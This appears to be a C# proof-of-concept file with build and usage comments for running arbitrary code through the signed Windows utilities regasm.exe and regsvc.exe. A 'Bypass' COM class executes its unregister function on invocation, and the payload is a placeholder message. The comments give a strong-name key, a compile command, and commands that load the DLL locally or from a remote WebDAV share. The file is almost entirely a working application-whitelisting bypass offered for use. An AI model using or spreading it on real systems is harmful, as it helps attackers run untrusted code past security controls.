A DLL that can be called from regasm.exe/regsvc.exe to execute arbitrary code

regasm.cs

/*
============== Compile ============
Create Your Strong Name Key -> key.snk
 
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regasm.dll /keyfile:key.snk regasm.cs


============== Use ============
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u regasm.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvc.exe /u regasm.dll

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdav.server.com\regasm.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvc.exe /u \\webdav.server.com\regasm.dll

*/

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

namespace regsvcser
{
     
    public class Bypass : ServicedComponent
    {
        public Bypass() { Console.WriteLine("I am a basic COM Object"); }
         
        [ComUnregisterFunction] //This executes if registration fails
        public static void UnRegisterClass ( string key )
        {
           Console.WriteLine(" YOUR PAYLOAD EXECUTED :-) ");
        }
    }
 
}